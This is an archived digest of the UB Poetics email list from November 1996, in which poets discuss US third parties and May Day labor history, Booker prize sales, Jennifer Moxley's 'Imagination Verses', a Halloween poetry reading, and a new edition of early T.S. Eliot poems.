O, & Jordan the line was "right wingers, because they are dumb/ also tend to be greedy & violent"

not "moody & violent"

--Rod

↑ Index

3. Keith Tuma
getting goats
Fri 1 Nov 1996

Somebody (in Australia) wanted to know how to order the Mountain Goats. Don't know if information was offered. Best I can say is write

Shrimper
PO Box 1837
Upland, CA 91785
USA

↑ Index

4. George Bowering
Re: Tiger chasing its tail (or tale)
Fri 1 Nov 1996

> *Europeans were horrified by the extent of violence labor had to endure in this country. They acheived legal unionization long before it happened here. Of course here MayDay is known only as a Stalinist "celebration."*

Yr right. Not only did they achieve legal unionization before they did in the US, but they also (especially in Britain) very early worked in the parliamentary area, getting seats in the government. The US is the only big manufacturing country I know of that does not have some sort of labour party. But I have heard US-Americans in some contexts refer to the Democrats as "the left." and I have heard of people like Ted Kennedy called "the left." In most countries Ted kennedy would be considered a cautious centrist. I suppose that the US Democratic Party would be considered left of the US Republican Party, but in most modern countries, the Democrats would be just a little right of center. The US has no large left-of-center political body, not one that can win seats. I think that such a situation can only lead to disaster.

I hear the term "medicare" used by USAmericans somnetimes; I think I heard that you have to be old to get it. How can a people that desire democracy put up with such a situation?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

5. Ron Silliman

Literary Culture

Fri 1 Nov 1996

The following ran in Wednesday's edition of the Wall Street Urinal and is lurid in several senses of the word. For one thing, the next time some insufferable critic says "why isn't poetry as popular as fiction?" you could give him/her a copy of this....

LEISURE & ARTS: Books, Booker, Bookies
Paul Levy
Copyright 1996 Dow Jones & Company, Inc.
CITATION The Wall Street Journal, October 30, 1996
DATELINE London
TEXT Something is seriously wrong with the Booker prize. Somebody always profits from the world's premier literary prize, but until he got the news of his $32,000 award last night, it wasn't Graham Swift or any of the other five shortlisted British Commonwealth writers of fiction.

According to the British national newspaper, the Times, in the week of Oct. 12, the third week after the announcement of the shortlist, the Canadian author Margaret Atwood's contender, "Alias Grace" (Bloomsbury, #16.99; Nan A. Talese/Doubleday, $24.95), a historical novel about a real-life double murder, sold a disappointing 485 copies in Britain, putting the book at No. 53 in the top 5,000 books of any description sold that week. And she was top.

Beryl Bainbridge, one of only two English writers on the Booker list, sold only 161 British copies of "Every Man for Himself" (Duckworth, #14.99; Carroll & Graf, $21), her tale of the sinking of the Titanic. Ms. Bainbridge stood at 426 in the overall sales list, whereas Seamus Deane, the Northern Irish-born poet who

teaches at the University of Notre Dame and whose first novel is "Reading in the Dark" (Cape, #13.99), sold only 75 and stood at 1,655. Set in the 1940s and 1950s in Derry, and dealing with a child's discoveries of grown-up betrayal, this is yet another historical novel.

I suppose all six books could be said to be historical in this limited sense, for Rohinton Mistry's richly generous "A Fine Balance" (Faber, #15.99; Knopf, $26), which struck me as the only book listed that really deserved a prize, is set in India during Mrs. Gandhi's "State of Internal Emergency" in the 1970s. This novel, with its cast of fiercely independent widow, students, tailors and Dickens-worthy Beggarmaster, and its confidently handled complicated narrative, sold 66 copies in Britain, which put it at 1,981.

Scottish Shena Mackay's "The Orchard on Fire" (Heinemann, #12.99; Moyer Bell, $19.95), a delicate story of a little girl during Coronation Year, now seems set in a distant past. It is a gentle but stirring book that explores the nuances of class in an English village. Though artful in its construction, it sold only 20 copies the week in question, too few to make the top 5,000 list.

This was also true of the winner, the only other book on the shortlist by an English writer: Mr. Swift's "Last Orders" Picador, #15.99; Knopf, $23) sold three copies in Britain. Though set more or less in the present, the virtuoso flashbacks, shifting narrative technique and south London dialect give this tale of a day's outing in which four men carry out the last wishes and dispose of the ashes of their friend, a London butcher, so firm a sense of time and place that I think you could argue that it is also a historical novel.

As the authors and their publishers do not appear to be making a mint from this year's Booker nominations, who is profiting? The answer is: the bookies. By this Monday William Hill alone had already taken over $80,000. By contrast with the book-buying public, the money was, rightly so, on Mr. Swift, whose odds were even money, with big bets on Margaret Atwood pushing her up to second favorite late Monday afternoon. Mr. Swift had been Ladbroke's favorite since the day of the announcement of the short list a month ago.

The opening odds, by the way, are set by real bookies. Graham Sharpe, who produces the odds for William Hill, told the Observer's racing correspondent on Sunday that he reads the first few pages of each book, then a chunk from the middle and another from the end to establish the opening prices, "and amends them when he has read all of the runners from cover to cover."

In past years you could have been forgiven for thinking that was how the judges themselves chose the actual winner. Just to remind you of the Booker's ignominious immediate past, the 1993 prize went to Roddy Doyle's meretricious domestic weepy "Paddy Clarke Ha Ha Ha," in the year in which

Vikram Seth's majestic "A Suitable Boy" wasn't even shortlisted. In 1994 the judges scored another own-goal and gave the laurels to James Kelman's wholly unreadable mixture of Glasgow dialect and foul obscenity, "How Late It Was, How Late," while in 1995 they overlooked Salman Rushdie's magnificent "The Moor's Last Sigh" and gave it to the politically correct, but anachronism-laden choice, Pat Barker's "The Ghost Road."

This year the shortlist was relatively uncontroversial: There were no positively bad books on the list and, except for novels by A.S. Byatt, David Malouf, Michael Dibdin, Ben Elton and Margaret Drabble (who, in any case, published hers a little after the deadline and grandly refuses to let her publishers enter her work anyway), no obvious omissions. This is a tribute to the judges, especially to the tough and colorful chairman, Carmen Callil.

Ms. Callil, one of the most flamboyant figures in the history of British publishing, is an Australian who came here in the 1960s, founded the feminist publishing house, Virago, ran the old firm of Chatto & Windus for a time, and recently left the publishing industry with many mutual expressions of ill-will. She is a great and powerful woman, and all Britain waits to see what she will do next in her starry career.

The gross errors of past years have probably resulted from internecine conflict among the judges. Last year's chairman, retiring Conservative M.P. George Walden, kept his panel happy, but could not prevent their outvoting him and giving the nod to Ms. Barker. There have been no reports of dissension from Ms Callil's fellow judges -- novelists Jonathan Coe, A.L. Kennedy and A.N. Wilson (also literary editor of the London Evening Standard), and Ian Jack, editor of Granta -- and nobody misbehaved at last night's awards dinner at London's Guildhall.

Still, the method used by the bookies seems as satisfactory as that used by the judges in most years. So here is a modest proposal. Why not save thousands of man-hours of reading done by the judges in order to weed the 150 hopefuls submitted by the publishers, and let the bookies actually choose next year's Booker shortlist?

↑ Index

6. Ron Silliman

Let a Thousand Parties Bloom....

Fri 1 Nov 1996

Mary Hilton,

I inadvertently deleted the Poetics Digest message before responding directly to your post for info on that political discourse project. Send me info on that! And don't lapse into lurkerhood.

Rod,

The _only_ 3rd party that, as of today, has any hope of stabilizing as anything more than a drain on the other candidates (and even that is a few elections down the road), is Perot's Reform Party. Which, as I think I made clear, I see as a variant of fascism with Mickey Mouse ears. But if it qualifies for Federal Matching Funds, I would expect to see it do something serious in a post-Ross phase. I think you will find the Bill Bradleys and Paul Tsongas types out competing with the retired generals living next to golf courses in the year 2000 or 2004. There is, however, a good chance that Ross will drive it out of existence by running a third time.

What Nader has done with the Green Party endorsement has been entirely irresponsible -- he's basically trashed them and then done nothing with the opportunity they afforded him to do something real. They of course got what they deserve in giving their nomination to somebody who has no interest in their agenda. This may be no dumber than the Peace & Freedom party giving its nomination in 1968 to Eldridge Cleaver (my first presidential vote!), but it's no smarter either.

Maria, Aldon et al,

Your very to-the-point responses to my question about sending work to unseen journals reminds me that the two basic methods of getting published remain submission & solicitation, two terms that also carry subtexts of sexuality and power (or powerlessness).

Ron Silliman
[redacted]

↑ Index

7. henry
Re: Literary Culture
Fri 1 Nov 1996

Although NY left Great Britain, what, 200 yrs ago now? seems some of the newspapers there still favor the big colonial epics. - HG

↑ Index

8. Henry Gould

a real book review [long, maybe]

Fri 1 Nov 1996

Here's a review of a real book(& kinda long). Delete now or hold your piece.

Jennifer Moxley
Imagination Verses
Tender Buttons, 1996

This is a moving & accomplished real book of lyric poetry, the kind of work that comes around very rarely. That is, the contemporary American poetry scene is highly energized, there is a lot of talent out there, but rarely does a poet bring it all together in one volume as stirringly as Moxley has. It's extraordinary.

From the brief preface, graceful & ambitious & (consciously or not) echoing Whitman from the first words, this book fulfills its daring promise. What Moxley does is begin with the careful, stripped-down phrasing of Oppen or WCW, & an alert, informed, compassionate, ironic, sardonic, & highly stylized X-generation(?) (sorry, older, what-ho, chap here) consciousness. Beginning with these resources, she pushes them into regions of vocabulary & lyricism with roots stretching back to John Donne & before. The result is a sudden awareness that the tradition of lyric poetry is alive & well & dangerous to settled complacencies & self-absorbed attitudes on every level of the social scale. The tone is bitter & sweet, the distance maintained with miraculous balance (between the strictly personal & the social, the paradigmatic) by wit & humor.

Here is the not-so-surprising surprise. The attitude, vision & skill I hear most emphatically moving to support this purely American sound is that of W.H. Auden. There is the same brooding ironic combination of skepticism & openness, the loping accent & sudden foreshortening lyricism (early Auden especially), the scientific/witty use of abstractions. Moxley throws around abstractions & general words not in the heavy-handed, dehumanized way of much experimental writing, nor does she eschew them as in most moo-brow U.S. verse. In her work abstraction is integrated into the general modal drive & wit of the poem, whether it's an "ode" on "particles", or an evisceration of "centurions". Finally, there is the sense of Auden's magisterial command of all forms, whether social or literary. (o.k. this is not a review of a new Auden book, sorry...)

This book should bring joy. It brings honor to American poetry. (& this local is proud to know it was written over time spent in Providence.yahooey!) Where Moxley continues, huh, next? Hers is a politically motivated/integrated pose - a discouragement with contemporary (American) dungeons - counterbalanced by the same kind of poet's hope - the hope which makes language a social obligation, & the poet's destiny a going forward into crowds & shared disasters; not

planted in a private agenda of either scripto- or egomania. The poetry is a mysterious third element brought out of the experience of discovering it. Just as she manages to balance new/old in her manner, her philosophical approach is a counterweighting of lyrical idealism & its ironies against a downbeat of earth-centered materialism (epitomized in her image of Virgil heading back down to Hell, in the sequence "Ten Still Petals"). (Sorry for the heavy-handed abstractions, gongheads.)

I hope "her contemporaries" (to whom the book is forsightedly dedicated) & the author will not be embarrassed by this praise. We may live in the same town, but we ain't even acquaintances - this may sound like puffery, but it's just enthusiasm. This is...this book is...well hey, really something (as we say, emphatically, sort of, with a happy face, & a wave, back in Minnesota). - Henry Gould

↑ Index

9. Jordan Davis
Re: getting goats
Fri 1 Nov 1996

Rod, I like 'moody and violent' better. It made me feel like I had something in common with right wingers _besides_ my violent greed. Not to be a goat in a field of violets, Jordan

↑ Index

10. maria damon
Re: Let a Thousand Parties Bloom....
Fri 1 Nov 1996

---

ron rites:
> Maria, Aldon et al,
>
> Your very to-the-point responses to my question about sending work to
> unseen journals reminds me that the two basic methods of getting
> published remain submission & solicitation, two terms that also carry
> subtexts of sexuality and power (or powerlessness).
>
> Ron Silliman
> [redacted]

i rite: compared to what? how 'bout "application" and "invitation?" md

↑ Index

11. Sherry Brennan
politics & poetics
Fri 1 Nov 1996

This is kind of a response to Dodie's posting a couple of days ago and to the discussion in general. I just caught up on the list for the week this morning.

I think that the position of women vis-a-vis politics is very different from the position of men. And here I do mean to speak specifically about the biological (which I actually usually avoid) and historical. Women couldn't vote until this century and still are very much so minority voices in the political process, especially at the national level. So when Jeff asks why poetry does not have political effect, that question has a different resonance for me.

I don't think that there can be one definition of the political, even if we limit ourselves to talking about the political process, if only for this reason, that women (and blacks and native americans and hispanics and gays and blue collar workers and jazz musicians and and) are taken up into the political process in very specific and differing ways.

And I think that what political efficacy poetry can have--if we are now talking about the ways that poetry might be taken up in the world--has very much to do with the poet's and the readers' positioning in the world. I think that Amiri Baraka's oeuvre has had political effect, although I do not know a lot about what effect that is. And I would say that that political effect has had to do with his position as a black male in the later 20th century, rather than the effect of a poetics in general.

I think we can look to other countries, eastern europe, for example, and talk about poetry having political effect right now.

And now I'm not on ground that's very familiar for me, so I don't want to sound dogmatic. But anyway, I do think the specificity of the writer and her position in the world is what makes for political effect, not the genre of poetry in general.

And, finally, it seems that the definition of the personal as political is often discussed in connection with gender issues. And I'm willing to say for my own poetry, that I think cultural effect is a kind of political effect, when it comes to gender (in my case). Because we have to change the way people think in addition to changing how they vote or otherwise act in the world, set policy, etc. And change for women at the political level also entails (I would go so far as to say--depends on) change on many other cultural and social registers. These kinds of change are completely interdependant. And writing is one way to change the way people think.

and. p.s. calvin trilling's poetry is an example of political poetry that sucks as poetry.

Sherry

↑ Index

12. Rachel Loden
Re: Let a Thousand Parties Bloom....
Fri 1 Nov 1996

Ron Silliman wrote:

> *Maria, Aldon et al,*
>
> *Your very to-the-point responses to my question about sending work to unseen journals reminds me that the two basic methods of getting published remain submission & solicitation, two terms that also carry subtexts of sexuality and power (or powerlessness).*

Yes, I've often thought of proposing a magazine named something like _Dominance and Submission: a Journal of Literary Bitchcraft_. Copies of that (unlike, say, _The Journal of English and Germanic Philology_), might really fly out the door.

Rachel Loden

↑ Index

13. Douglas Barbour
Re: POETICS Digest - 30 Oct 1996 to 31 Oct 1996
Fri 1 Nov 1996

Reading from the outside, I have been fascinated by the politics & poetry thread but felt it was essentially USAmerican.

I agree with the following in its praise of Silliman's trenchant note:

"Date: Thu, 31 Oct 1996 11:34:35 -0500
From: Rod Smith <[redacted]>
Subject: Re: Tiger chasing its tail (or tale)

Ron,

Thanks for the great post. What third party movement are you more impressed by? New Party? Nader? I've been supporting the New Party which seems a genuine attempt to get a labor party going, not based around any one persona-- but long long way to go.

> *By jettisoning its base, the door-to-door Union volunteer*
> *(capital U), the Democratic party has largely opened up this space.*

It seems fairly clear that the disappearance of social democratic politics from the public sphere is strongly related to the rise of television as a source of "information." What response do you, others, see to this."

from the outside, this is all fascinating, & of course, up here, we cant help but be 'aware' of your election, since it will have its effects on 'us.' So, today, the CBC had a story on the 'fact' (?) that most of the under 30 crowd in the US is getting its political 'information' from Letterman & Leno. Hmm.

I was thinking, as I am teaching people like Creeley, Levertov, & even Ashbery to a class here these weeks, that various approaches to the question of 'whose language is it' which these poets practice in various ways, is a 'political' act of sorts, even if it reaches only a small audience to begin with. For the problem, as Silliman & others have suggested, is that for so many, there seems to be only one discourse available. Poetry can begin to question that assumption, at least. And we need such questioning up here as much as down there.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

14. Joe Amato
Re: Tiger chasing its tail (or tale)
Fri 1 Nov 1996

---

this is to second the chomsky-based book (and video) that rod mentions, _manufacturing consent_...

i'd like to throw-in here on this question of invitation/solicitation for publishing... i recently tried to append to a piece (recently published, but which shall go unnamed) a one paragraph summary of the network that had resulted in my writing and publishing the piece... i tried to do so w/o appearing ungrateful, and i tried to do so b/c it was clearly a MALE network that had resulted in my having written and published said item... nothing insidious here in terms of

motivations---but my point was that we all needed to work harder to open things up some, which latter point resonated with the gist of my piece (at least, as i saw it---but i tend to be associative when it comes to such stuff)...

needless to say, said concluding para was chopped on the editorial end w/o comment... and i can't quite blame the editor, b/c he had his constraints too...

but i do wish to observe here that it's sometimes damned difficult to render legible the networking apparatus, in order to change it... and mebbe if i were a better man, i would have balked at publishing my piece w/o that concluding para... or at least have made more noise about it, which i *did* in fact do wrt several other paras...

anyway...

best,

joe

↑ Index

15. Rachel Loden
Re: Tiger chasing its tail (or tale)
Fri 1 Nov 1996

Rod Smith wrote:

> *Don't remember the source of this information but apparently May Day began as a European Worker's Holiday to show solidarity with American workers. Europeans were horrified by the extent of violence labor had to endure in this country. They acheived legal unionization long before it happened here. Of course here MayDay is known only as a Stalinist "celebration."*

May Day began in the 1880s in the US, with the fight for an eight-hour work day. Now, of course, we're one of the only countries not to observe it (with Canada and at least the old South Africa, I think).

Some history:

"In 1884, the Federation of Organized Trades and Labor Unions passed a resolution stating that eight hours would constitute a legal day's work from and after May 1, 1886. The resolution called for a general strike to achieve the goal, since legislative methods had already failed. With workers being forced to work ten, twelve, and fourteen hours a day, rank-and-file support for the eight-hour movement grew rapidly, despite the indifference and hostility of many union leaders. By April 1886, 250,000 workers were involved in the May Day movement."

My grandfather (who was a socialist before he left Russia in the 1880s), had nothing but contempt for "Labor Day," which is a holiday without any history at all in labor struggle. "May Day is the only Labor Day," said he.

Rachel Loden

↑ Index

16. Jordan Davis
Carll 23, Szamatowicz 22
Fri 1 Nov 1996

Steve Carll 23, Carol Szamatowicz 22 at Poetry City, 10/31 7:25 p.m.
TIME: C (30 mins), S (30 mins).
ATTENDANCE: 25

San Francisco poet Steve Carll read 23 poems and Carol Szamatowicz read 22 poems at Poetry City on Halloween. Steve, in a red t-shirt, beige slacks and white Converse sneakers, read poems from his books _Sincerity Loops_ and _trace a moment's closure for clues_, and from an unpublished manuscript entitled _Drugs_. As has been noted on this listserv before, Steve sweetly manipulates the lyrics of songs that he likes, elaborating clear new syntaxes from 'When the rain comes...' or 'And the train conductor said, take a break Driver 8'. Among the poems in the new book are some startlingly successful erasures of Robert Bly, poems written to movies, and poems whose formal restrictions were assigned by editors. Solicit and submit, indeed! Steve (citing Jeff Conant as the influence) burst into discursive prose for his last segment, _Drugs_. These brief essays on perception and effect contained such lines as: "Alcohol can turn any morning into a wake", "Fame never went to crack's head like some other drugs we could mention", "LSD, better known as the fifth Beatle", "Hi! Marijuana's not a drug but it plays one on tv." Steve closed with a poem called "New Jack York". Good reading.

Ordinarily we have an intermission, but it was Halloween and people were antsy, so I rushed right into Carol Szamatowicz's reading. Co-host Anna Malmude came up to the mike to give a second introduction to Carol -- "I'd like to introduce one of my many moms." Carol elaborated: 'My daughter is Anna's sister.' Then Carol read twenty-two pieces from her manuscript of prose-poems. Carol writes Faginescas, a form named after Larry Fagin and also practiced by Michael Friedman and Gillian McCain. Where Michael's are Fred Astaire and Gillian's are Susan Sontag, Carol's Faginescas are Anthony Trollope. Carol pays a lot of attention to the salient details of social interaction, which facts I observe in the modest and informative sentences she prefers. Anyway. Carol wore a black silk top and slacks. Here are some things she said: "These cheeses are history", "There's only five channels and beer. I accept that.", "There is a couple

who loved eachother since childhood and that is all that is left of them", "I think you are the one who spilled", "Besides the suspicion of sleep there is the treachery of wood", "I was a brisk little tooth drifting to earth", "My genius uses itself up in the austere nudity of self-reliance", "Boredom that makes us long for the freedom of combat", "Lick something everyday, I say", "A hell where we feed ourselves with three-foot chopsticks." Well I take back that part about Trollope.

In the audience were: Rick Hill, Bill Luoma, Katy Lederer, Anselm Berrigan, Karl Parker, Larry Fagin, Douglas Rothschild, Drew Gardner and David Golumbia.

Steve's titles were:

- The Time of Yellow Grass
- The Sun Nets an Orpheus
- Poem Founded Upon Contemplation of Tenderness
- Melia
- Driving to Minnesota During Hanoi
- Noe Valley
- It's Rain
- Southern Sky
- Don't Don't
- I Equals You, We Is the Generator
- Hey, Your Highness's Complaint
- Won't Is In Don't
- Toned Corpreces (?)
- ?????
- Sunday at the AMC
- DRUGS
  - Alcohol
  - Caffeine
  - Crack
  - Heroin
  - LSD
  - Marijuana
  - Methamphetamine
- New Jack York

Carol's titles were:

- Floods
- Trees
- Body Murk
- Cats and Birds
- A Drag to Our Neighbors
- Back Brain

Faceless Doll
Flash By
Furthermore
Hallowed Aid
Long Summer Draw
Losing Ground
Method
Murder She Wrote
Perfect Fool
Private Lesson
Quantum Corridor
Startrekian
Sticky Picket
Zoop
Jamie
What Will Rime Put

I hope some of you can make it to next Thursday's reading, which, God willing, will be John Wieners and Eleni Sikelianos. Come to Poetry City, where we give you food and wine, and we do as little as possible to pre-contextualize the readings for you.

Jordan Davis

↑ Index

17. Rod Smith

Re: Tiger chasing its tail (or tale)

Fri 1 Nov 1996

>this is to second the chomsky-based book (and video) >that rod mentions, _manufacturing consent_...

Joe, yes I'm at times "mouthing Chomsky." I have spent a fair amount of time with his writings, tapes, etc. I find him convincing on many questions. There is a danger though, I think, of his views becoming identified solely with his persona. He is after all "a star" leftist intellectual-- but his positions are actually useful in understanding the world (imagine that!) & he makes no claims to the originality of his analyses. Other writers I'd champion on these questions & related include Ward Churchill, Holly Sklar, Christopher Hitchens, Cornel West. A book called _Goodyear Invades the Backcountry: The Corporate Takeover of a Rural Town_ by Bryan Palmer gives one a little perspective on "downsizing" or what they're now calling "right-sizing." Common Courage and South End seem the better publishers in these areas these days. & Monthly Review. & New Press.

Thanks for the info on May Day Rachel!

"Intelligent Action!" said John Dewey. I only read about it. . .

--Rod

↑ Index

18. maria damon

Re: Let a Thousand Parties Bloom....

Fri 1 Nov 1996

In message <[redacted]> UB Poetics discussion group writes:
> Ron Silliman wrote:
>
> > Maria, Aldon et al,
> >
> > Your very to-the-point responses to my question about sending work to
> > unseen journals reminds me that the two basic methods of getting
> > published remain submission & solicitation, two terms that also carry
> > subtexts of sexuality and power (or powerlessness).
>
> Yes, I've often thought of proposing a magazine named something like
> _Dominance and Submission: a Journal of Literary Bitchcraft_. Copies
> of that (unlike, say, _The Journal of English and Germanic
> Philology_), might really fly out the door.
>
> Rachel Loden

rachel, diva of poetixleaze, you have my undying admiration for the scope of your i-magic-nation. now, george b, you randy old goat, did i hear, embedded in your last post, an exquisitely abject plea for a non-foucauldian discipline et punissement?--md

↑ Index

19. George Bowering

Re: Let a Thousand Parties Bloom....

Fri 1 Nov 1996

> *rachel, diva of poetixleaze, you have my undying admiration for the scope of your i-magic-nation. now, george b, you randy old goat, did i hear, embedded in*
> *your last post, an exquisitely abject plea for a non-foucauldian discipline et punissement?--md*

Maria:

All I want is my share. When I got into poetry in the sixties they promised all sorts of things. I mean I could have spent my life as a window-dresser. Come on. I want whatever T.S. Eliot and X.J. Kennedy got.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

20. HH Gould

Re: Let a Thousand Parties Bloom....

Fri 1 Nov 1996

On Fri, 1 Nov 1996 10:15:47 -0800 George Bowering said:
>Come on. I want whatever T.S. Eliot and X.J. Kennedy got.
>
You gotta give up something to get what they got. Like your first name.
- H.H. ["God of This World"] Gould

↑ Index

21. Rod Smith

some dissonance

Fri 1 Nov 1996

George wrote:
> How can a people that desire democracy
put up with such a situation?

Kevin K., this is what I meant when I used the phrase "cognitive and emotional dissonace" re Jennifer Moxley's _Imagination Verses_. She doesn't back away from it, at all. & the phrase "monogamy capitalism" -- a little personalizing of the term late capitalism. Heterosexual monogamy being the only "acceptable" choice. Of course one can choose otherwise but outside of a few urban areas (and often within them) it is very difficult. I.e. you often won't be supported in your choice. One is robbed, literally, of choices about one's life, never mind it's "style." Of course this is all there in your work, just wanted to clarify my own meanderings a bit.

Moxley's poem "The Right to Counsel" begins: "The mighty symbols/ have snuck away/ with human memory./ Actions are now/ horrifically undressed/ lest they

should/ corner the market." The "Ode to Protest" begins "It's as if to be real/ you and I must garner backers/ without a rib to call our own." I want to go on quoting, I really do.

"Things" _are not_ "ok."

--Rod

↑ Index

22. eric pape
Re: JH and Political poetry
Fri 1 Nov 1996

The position that "political" discourse is only such if actually effective encounters some obvious absurdities, not least the effacement of this presidential election. Certainly, you would be hard put to figure out the "relavance" and the "effectiveness" of a Republican that gave up months ago. Would then everything said by Dole et al on TV etc be considered apolitical? Thanks, Eric.

↑ Index

23. Gary Roberts
May Day
Fri 1 Nov 1996

Thanks Rachel for the May Day background. I believe the first labor celebration was held in Chicago, but could not remember whether it was before or after the Haymarket affair of 1886. Not surprisingly my desk dictionary could shed no light on that-- May Day being first a spring ritual and second a labor holiday "in a number of places"-- the US connection is expunged.

Gary R

↑ Index

24. Joseph Lease
Re: JH and Political poetry
Fri 1 Nov 1996

---

this strikes me at least as a strangely good question: probably many on the list assume that both parties speech is effectively apolitical, but how does our assumption mediate our poetries' relation to the broader society

On Fri, 1 Nov 1996, eric pape wrote:

> *The position that "political" discourse is only such if actually effective encounters some obvious absurdities, not least the effacement of this presidential election. Certainly, you would be hard put to figure out*

> *the "relavance" and the "effectiveness" of a Republican that gave up months ago. Would then everything said by Dole et al on TV etc be considered apolitical? Thanks, Eric.*

↑ Index

25. Kevin Killian
SPT readings
Fri 1 Nov 1996

This is Dodie

This Saturday, tomorrow, November 2, Small Press Traffic presents Renee Gladman and Bob Perelman at New College (on Valencia between 18th and 19th in San Francisco) at 7:30 p.m.

I'd include the snappy flyer copy KK and I wrote, but it's on my regular computer which broke and got "fixed" and which I have had the nerve to re-hook up yet.

But, trust me, this will be a great event! Renee is one of the brightest stars to come out of the New College Poetics Program. Her cutting-edge skateboarding through lyricism and narrative, I think, will work nicely with Bob's impulses in similar directions -- though using an entirely different palette of subject matter and influence.

The last couple of readings at SPT have blown me away--Erin Moure and Lisa Robertson; Kathleen Fraser and Joan Retallack. Robertson and Retallack, in particular, dazzled us with a rollercoaster of effects. The scope of those two gals! It was so interesting/stimulating talking with all of these women I'm feeling that readings alone aren't enough--I'd like to figure out a way to work in a discussion of process in future events.

↑ Index

26. Joseph Lease
Re: May Day
Fri 1 Nov 1996

Anyone care to share Christopher Hill / Gerard Winstanley style musings on the relation of the early modern maying times to the nineteenth century ie Romantic Marx

On Fri, 1 Nov 1996, Gary Roberts wrote:

> *Thanks Rachel for the May Day background. I believe the first labor celebration was held in Chicago, but could not remember whether it was before or after the Haymarket affair of 1886. Not surprisingly my desk dictionary*

> *could shed no light on that-- May Day being first a spring ritual and second a labor holiday "in a number of places"-- the US connection is expunged.*
>
> *Gary R*

↑ Index

27. Oren Izenberg
Re: Help Eliot
Fri 1 Nov 1996

The new/old Eliot poems are probably to be found in Christopher Ricks' new "edition" of early Eliot-- which, in addition to making available a number of poems that up until now have been available in hard (and impossible) to access manuscripts, has a huge amount of hard information and informed speculation about source, allusion, and context literary and (and otherwise) in the notes.

Ricks is, for better or for worse, Eliot's dream editor-- in his sympathies as well as in his learning.

O.
On Fri, 1 Nov 1996, Yunte Huang wrote:

> *A Chinese researcher of Am. Lit asked me to find this: a group of poems by T.S. Eliot were published recently for the first time because Eliot didn't want them to be seen. Where can I find information about it? The World Headquarter for Reincarnation?-- Forgive the joke, but someone who knows please help me.*
>
> *Yunte Huang*

↑ Index

28. Yunte Huang
Help Eliot
Fri 1 Nov 1996

A Chinese researcher of Am. Lit asked me to find this: a group of poems by T.S. Eliot were published recently for the first time because Eliot didn't want them to be seen. Where can I find information about it? The World Headquarter for Reincarnation?-- Forgive the joke, but someone who knows please help me.

Yunte Huang

↑ Index

29. Carl Lynden Peters
Re: Help Eliot
Fri 1 Nov 1996

The new Eliot bk is called _Inventions of the March Hare: Poems 1909-1917_, edited by Christopher Ricks, as noted, and is scheduled to come out in March by Harcourt Brace.

> The lady of the porcelain department
> Smiles at the world through a set of false teeth.
> She is businesslike and keeps a pencil in her hair ...
>
> [from "In the Department Store," from _Inventions_]

c.

↑ Index

30. John Cayley
There's more to life than books, you know ...
Sat 2 Nov 1996

... but not much more.

> (S. Morrissey;
> threads: 'defensiveness as prop'; 'poe[li]tics')

↑ Index

31. Rachel Loden
Re: May Day
Sat 2 Nov 1996

Hi Gary,

My understanding is that May Day begins with those events of May 1-4 1886 in Chicago--the strikes for the eight-hour day, the May 3 police killings of six demonstrators at the McCormick agricultural machinery plant, and then on May 4 the Haymarket affair. The day goes international on May 1, 1890, and that's a whole other (connected) story.

Rachel

Gary Roberts wrote:
>
> Thanks Rachel for the May Day background. I believe the first labor
> celebration was held in Chicago, but could not remember whether it was be-
fore
> or after the Haymarket affair of 1886. Not surprisingly my desk dictionary

> could shed no light on that-- May Day being first a spring ritual and second
> a labor holiday "in a number of places"-- the US connection is expunged.
>
> Gary R

↑ Index

32. **Robert Drake**
request: bill bissett address
Sat 2 Nov 1996

---

anyone have an address, email or smail, for bill bissett?
backchannel replies appreciated...

luigi
[redacted]

↑ Index

33. **wheeler**
Re: Help Eliot
Sat 2 Nov 1996

"Inventions of the March Hare: Poems 1909-1917" came out in the UK in September (don't know publisher, sorry) and Harcourt Brace will bring it out here in March.

Susan Wheeler

On Fri, 1 Nov 1996, Yunte Huang wrote:

> *A Chinese researcher of Am. Lit asked me to find this: a group of poems by T.S. Eliot were published recently for the first time because Eliot didn't want them to be seen. Where can I find information about it? The World Headquarter for Reincarnation?-- Forgive the joke, but someone who knows please help me.*
>
> *Yunte Huang*

↑ Index

34. **maria damon**
Re: request: bill bissett address
Sat 2 Nov 1996

---

anyone have addresses (snail, e, or phone #s) for charles alexander in new mex or ariz, mei-mei berssenbrugge, and leslie marmon silko? bachckannel please!-- md

↑ Index

35. Douglas Barbour
Re: that longish review
Sat 2 Nov 1996

With reference to Henry Gould's 'a real book review [long, maybe]':

that was all very interesting, & some of the subtextual attacks were at least worth thinking about, but I still have no sense of what Jennifer Moxley's _Imagination Verses_ is like, as poetry I mean. Even one short quotation might have helped to back up the many assertions about her particular lyricism as you try to define it, Henry, & I would still appreciate an example, just to get a sense of this writing.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

36. Rod Smith
Re: that longish review
Sat 2 Nov 1996

Doug Barbour wrote:

>but I still have no sense of what Jennifer
>Moxley's
Imagination Verses is like, as poetry I mean. Even one >short quotation
might have helped

from "The Right to Remain Silent"

Fear the state
that could eat many lives
just hanging
on the hope of

divine punishment.
Singing together
we know not who
we serenade,
if not ourselves
who are no selves
and broken
we look to bedtime,
elope with big
distance in mind.
Space is a vicious map
erected by the
trampling of destiny.
If you can only live
one life, you must die
for those
you throw away.

The book is, as Henry noted, dedicated "To my Contemporaries" -- I read this first, as, literally & i.e., an act of love & thanks to the poets. Then what else it means. What is amazing about this writing is the clarity with which it claims tradition and it's minute. The tradition it claims & speaks is avant-garde. The avant-garde since Rimbaud, or Sappho, or Shakespeare, or Bernadette Mayer.

"Ray of your return, an apparition,/ as out on the couch I/ wept, derivatively."

"This in-wrought geneticism/ has made your leniency all askew,/ a melee on the installment plan, like chance encounters with minikin emotions/ unstitch Minerva and the Earth awakes/ distracted reaching for Venus."

"Cut it out and give me that rope,/ I will gladly beat my scared Crusoe/ with the possibility of life/ and orate at the seashore/ of luckless sinking blind/ and God-blanched Utopias:/ But know my heart is in your hands."

